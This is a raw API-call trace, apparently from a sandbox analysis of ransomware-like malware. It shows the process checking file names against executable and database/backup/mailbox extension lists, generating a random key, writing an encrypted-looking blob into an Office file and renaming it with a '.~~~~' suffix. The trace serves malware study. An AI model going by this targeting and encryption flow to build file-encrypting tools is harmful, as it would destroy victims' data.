	[0136.252] lstrlenW (lpString=".DACPAC") returned 7
	[0136.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0136.252] lstrlenW (lpString=".VHD") returned 4
	[0136.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".VHD") returned 0x0
	[0136.252] lstrlenW (lpString=".DBV") returned 4
	[0136.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".DBV") returned 0x0
	[0136.252] lstrlenW (lpString=".dacpac") returned 7
	[0136.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0136.252] lstrlenW (lpString=".sdf") returned 4
	[0136.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".sdf") returned 0x0
	[0136.252] lstrlenW (lpString=".accdb") returned 6
	[0136.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".accdb") returned 0x0
	[0136.252] lstrlenW (lpString=".DBX") returned 4
	[0136.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".DBX") returned 0x0
	[0136.252] lstrlenW (lpString=".MDT") returned 4
	[0136.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".MDT") returned 0x0
	[0136.252] lstrlenW (lpString=".SQB") returned 4
	[0136.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".SQB") returned 0x0
	[0136.252] lstrlenW (lpString=".vhd") returned 4
	[0136.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".vhd") returned 0x0
	[0136.252] lstrlenW (lpString=".bac") returned 4
	[0136.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".bac") returned 0x0
	[0136.253] lstrlenW (lpString=".mdf") returned 4
	[0136.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".mdf") returned 0x0
	[0136.253] lstrlenW (lpString=".BAK") returned 4
	[0136.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".BAK") returned 0x0
	[0136.253] lstrlenW (lpString=".BAC") returned 4
	[0136.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".BAC") returned 0x0
	[0136.253] lstrlenW (lpString=".dbs") returned 4
	[0136.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".dbs") returned 0x0
	[0136.253] lstrlenW (lpString=".vhdx") returned 5
	[0136.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0136.253] lstrlenW (lpString=".NDF") returned 4
	[0136.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".NDF") returned 0x0
	[0136.253] lstrlenW (lpString=".dat") returned 4
	[0136.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".dat") returned 0x0
	[0136.253] lstrlenW (lpString=".DBS") returned 4
	[0136.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".DBS") returned 0x0
	[0136.253] lstrlenW (lpString=".CKP") returned 4
	[0136.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".CKP") returned 0x0
	[0136.253] lstrlenW (lpString=".edb") returned 4
	[0136.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".edb") returned 0x0
	[0136.253] lstrlenW (lpString=".PST") returned 4
	[0136.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".PST") returned 0x0
	[0136.253] lstrlenW (lpString=".dbf") returned 4
	[0136.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".dbf") returned 0x0
	[0136.254] lstrlenW (lpString=".SQL") returned 4
	[0136.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".SQL") returned 0x0
	[0136.254] lstrlenW (lpString=".pst") returned 4
	[0136.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".pst") returned 0x0
	[0136.254] lstrlenW (lpString=".dbv") returned 4
	[0136.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".dbv") returned 0x0
	[0136.254] lstrlenW (lpString=".SDF") returned 4
	[0136.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".SDF") returned 0x0
	[0136.254] lstrlenW (lpString=".dtxs") returned 5
	[0136.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0136.254] lstrlenW (lpString=".db3") returned 4
	[0136.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".db3") returned 0x0
	[0136.254] lstrlenW (lpString=".OST") returned 4
	[0136.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".OST") returned 0x0
	[0136.254] lstrlenW (lpString=".dbx") returned 4
	[0136.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".dbx") returned 0x0
	[0136.254] lstrlenW (lpString=".DB3") returned 4
	[0136.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".DB3") returned 0x0
	[0136.254] lstrlenW (lpString=".DAT") returned 4
	[0136.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".DAT") returned 0x0
	[0136.254] lstrlenW (lpString=".VHDX") returned 5
	[0136.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0136.254] lstrlenW (lpString=".ndf") returned 4
	[0136.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".ndf") returned 0x0
	[0136.254] lstrlenW (lpString=".DB") returned 3
	[0136.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".DB") returned 0x0
	[0136.255] lstrlenW (lpString=".sql") returned 4
	[0136.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".sql") returned 0x0
	[0136.255] lstrlenW (lpString=".MYD") returned 4
	[0136.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".MYD") returned 0x0
	[0136.255] lstrlenW (lpString=".DBT") returned 4
	[0136.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".DBT") returned 0x0
	[0136.255] lstrlenW (lpString=".ACCDB") returned 6
	[0136.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0136.255] lstrlenW (lpString=".fdb") returned 4
	[0136.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".fdb") returned 0x0
	[0136.255] lstrlenW (lpString=".bak") returned 4
	[0136.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".bak") returned 0x0
	[0136.255] lstrlenW (lpString=".myd") returned 4
	[0136.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".myd") returned 0x0
	[0136.255] lstrlenW (lpString=".DTXS") returned 5
	[0136.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0136.255] lstrlenW (lpString=".ckp") returned 4
	[0136.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".ckp") returned 0x0
	[0136.255] lstrlenW (lpString=".dbt") returned 4
	[0136.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".dbt") returned 0x0
	[0136.255] lstrlenW (lpString=".db") returned 3
	[0136.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".db") returned 0x0
	[0136.255] lstrlenW (lpString=".TXT") returned 4
	[0136.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".TXT") returned 0x0
	[0136.256] lstrlenW (lpString=".MDF") returned 4
	[0136.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".MDF") returned 0x0
	[0136.256] lstrlenW (lpString=".bdb") returned 4
	[0136.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".bdb") returned 0x0
	[0136.256] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0136.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.256] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x29085c0) returned 1
	[0136.257] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.257] CryptReleaseContext (hProv=0x29085c0, dwFlags=0x0) returned 1
	[0136.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0136.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0136.258] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25624766730) returned 1
	[0136.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbaa789b0, dwHighDateTime=0x1d60e1e)) 
	[0136.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0136.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0136.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0136.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825358
	[0136.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825358 | out: hHeap=0x300000) returned 1
	[0136.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce2d8
	[0136.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c58d0
	[0136.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce2d8 | out: hHeap=0x300000) returned 1
	[0136.258] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0136.259] GetLastError () returned 0x0
	[0136.339] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0136.339] GetLastError () returned 0x0
	[0136.364] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.364] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0136.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0136.364] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.364] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.365] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.365] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.365] CloseHandle (hObject=0x114) returned 1
	[0136.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce2d8
	[0136.365] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk.~~~~")) returned 1
	[0136.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce2d8 | out: hHeap=0x300000) returned 1
	[0136.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0136.368] GetLastError () returned 0x0
	[0136.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".scr") returned 0x0
	[0136.369] lstrlenW (lpString=".cmd") returned 4
	[0136.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".cmd") returned 0x0
	[0136.369] lstrlenW (lpString=".dll") returned 4
	[0136.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".dll") returned 0x0
	[0136.369] lstrlenW (lpString=".bat") returned 4
	[0136.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".bat") returned 0x0
	[0136.369] lstrlenW (lpString=".cpl") returned 4
	[0136.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".cpl") returned 0x0
	[0136.369] lstrlenW (lpString=".sys") returned 4
	[0136.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".sys") returned 0x0
	[0136.369] lstrlenW (lpString=".msc") returned 4
	[0136.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".msc") returned 0x0
	[0136.369] lstrlenW (lpString=".com") returned 4
	[0136.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".com") returned 0x0
	[0136.369] lstrlenW (lpString=".lnk") returned 4
	[0136.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".lnk") returned 0x0
	[0136.369] lstrlenW (lpString=".msp") returned 4
	[0136.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".msp") returned 0x0
	[0136.369] lstrlenW (lpString=".pif") returned 4
	[0136.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".pif") returned 0x0
	[0136.369] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch="msp\r\n.pif") returned 0x0
	[0136.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0136.372] lstrlenW (lpString=".sqb") returned 4
	[0136.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".sqb") returned 0x0
	[0136.372] lstrlenW (lpString=".ost") returned 4
	[0136.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".ost") returned 0x0
	[0136.372] lstrlenW (lpString=".txt") returned 4
	[0136.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".txt") returned 0x0
	[0136.372] lstrlenW (lpString=".mdt") returned 4
	[0136.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".mdt") returned 0x0
	[0136.372] lstrlenW (lpString=".BDB") returned 4
	[0136.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".BDB") returned 0x0
	[0136.372] lstrlenW (lpString=".eql") returned 4
	[0136.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".eql") returned 0x0
	[0136.372] lstrlenW (lpString=".DBF") returned 4
	[0136.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".DBF") returned 0x0
	[0136.372] lstrlenW (lpString=".EQL") returned 4
	[0136.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".EQL") returned 0x0
	[0136.372] lstrlenW (lpString=".FDB") returned 4
	[0136.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".FDB") returned 0x0
	[0136.372] lstrlenW (lpString=".EDB") returned 4
	[0136.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".EDB") returned 0x0
	[0136.372] lstrlenW (lpString=".DACPAC") returned 7
	[0136.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".DACPAC") returned 0x0
	[0136.373] lstrlenW (lpString=".VHD") returned 4
	[0136.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".VHD") returned 0x0
	[0136.373] lstrlenW (lpString=".DBV") returned 4
	[0136.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".DBV") returned 0x0
	[0136.373] lstrlenW (lpString=".dacpac") returned 7
	[0136.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".dacpac") returned 0x0
	[0136.373] lstrlenW (lpString=".sdf") returned 4
	[0136.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".sdf") returned 0x0
	[0136.373] lstrlenW (lpString=".accdb") returned 6
	[0136.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".accdb") returned 0x0
	[0136.373] lstrlenW (lpString=".DBX") returned 4
	[0136.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".DBX") returned 0x0
	[0136.373] lstrlenW (lpString=".MDT") returned 4
	[0136.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".MDT") returned 0x0
	[0136.373] lstrlenW (lpString=".SQB") returned 4
	[0136.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".SQB") returned 0x0
	[0136.373] lstrlenW (lpString=".vhd") returned 4
	[0136.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".vhd") returned 0x0
	[0136.373] lstrlenW (lpString=".bac") returned 4
	[0136.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".bac") returned 0x0
	[0136.374] lstrlenW (lpString=".mdf") returned 4
	[0136.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".mdf") returned 0x0
	[0136.374] lstrlenW (lpString=".BAK") returned 4
	[0136.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".BAK") returned 0x0
	[0136.374] lstrlenW (lpString=".BAC") returned 4
	[0136.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".BAC") returned 0x0
	[0136.374] lstrlenW (lpString=".dbs") returned 4
	[0136.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".dbs") returned 0x0
	[0136.374] lstrlenW (lpString=".vhdx") returned 5
	[0136.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".vhdx") returned 0x0
	[0136.374] lstrlenW (lpString=".NDF") returned 4
	[0136.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".NDF") returned 0x0
	[0136.374] lstrlenW (lpString=".dat") returned 4
	[0136.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".dat") returned 0x0
	[0136.374] lstrlenW (lpString=".DBS") returned 4
	[0136.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".DBS") returned 0x0
	[0136.374] lstrlenW (lpString=".CKP") returned 4
	[0136.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".CKP") returned 0x0
	[0136.375] lstrlenW (lpString=".edb") returned 4
	[0136.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".edb") returned 0x0
	[0136.375] lstrlenW (lpString=".PST") returned 4
	[0136.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".PST") returned 0x0
	[0136.375] lstrlenW (lpString=".dbf") returned 4
	[0136.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".dbf") returned 0x0
	[0136.375] lstrlenW (lpString=".SQL") returned 4
	[0136.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".SQL") returned 0x0
	[0136.375] lstrlenW (lpString=".pst") returned 4
	[0136.375] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXT", lpSrch=".pst") returned 0x0
